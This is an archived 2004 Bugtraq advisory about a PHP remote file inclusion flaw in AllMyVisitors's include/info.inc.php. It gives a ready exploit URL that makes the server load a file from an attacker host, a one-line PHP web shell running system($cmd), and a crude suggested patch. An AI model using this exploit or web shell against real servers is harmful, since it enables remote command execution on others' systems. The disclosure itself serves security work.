lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: 14 Feb 2004 22:18:04 -0000
From: Pablo Santana <m4dsk4t3r@...mail.com>
To: bugtraq@...urityfocus.com
Subject: AllMyVisitors PHP Code Injection vulnerability




******** AllMyVisitors PHP Code Injection vulnerability ********

Product : AllMyVisitors
Vendor : www.php-resource.net
Date : February 14, 2004
Problem : PHP Code Injection
Vendor Contacted ? : No

************************** Source ****************************

in /include/info.inc.php

--------------------------------------------------------------

$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");

--------------------------------------------------------------

************************** Exploit ***************************

http://[target]/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=http://[attacker]/&cmd=uname%20-a

in http://[attacker]/include/template.inc.php have :

------------------------

<?
system($cmd);
?>

------------------------

************************** Impact ****************************

Malicious user execute arbitrary commands on the server .

************************* Solution ***************************

in /include/info.inc.php replace 

$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");


for


if (isset($_AMVconfig[cfg_serverpath])){
  die("Don\'t Hack it :)");
}

$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php"); 

************************** Credits ****************************

bnfx : bnfx@...isocial.com

Mad_Skater : m4dsk4t3r@...mail.com

TechTeam Brazilian Crew .



Powered by blists - more mailing lists